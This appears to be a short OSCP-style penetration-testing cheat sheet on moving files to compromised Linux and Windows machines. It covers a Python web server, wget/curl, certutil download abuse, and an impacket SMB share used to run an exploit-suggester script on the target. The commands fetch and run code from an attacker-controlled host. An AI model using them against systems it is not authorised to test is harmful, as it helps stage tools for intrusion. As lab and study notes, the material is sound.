File Transfers

In the folder with your file, on your machine

python -m SimpleHTTPServer 8080

Linux box:

wget <your-box>:8080/<your-file> or curl <your-box>:8080/<your-file>

Windows box

certutil.exe -urlcache -split -f "http://<your machine>:8080/<your-file>"

For Windows im mostly using impackets smbserver thats included in kali (at least in the current 2020.1 version i'm using).

Simply start it with: impacket-smbserver <share name> <folder to share>

impacket-smbserver share /root/oscp/smbshare/

After that you can simply call executables from the share on the windows machine like this:

powershell \\\share\ExploitSuggester.ps1

or you can copy the file to the box via:

copy \\\share\ExploitSuggester.ps1 ExploitSuggester.ps1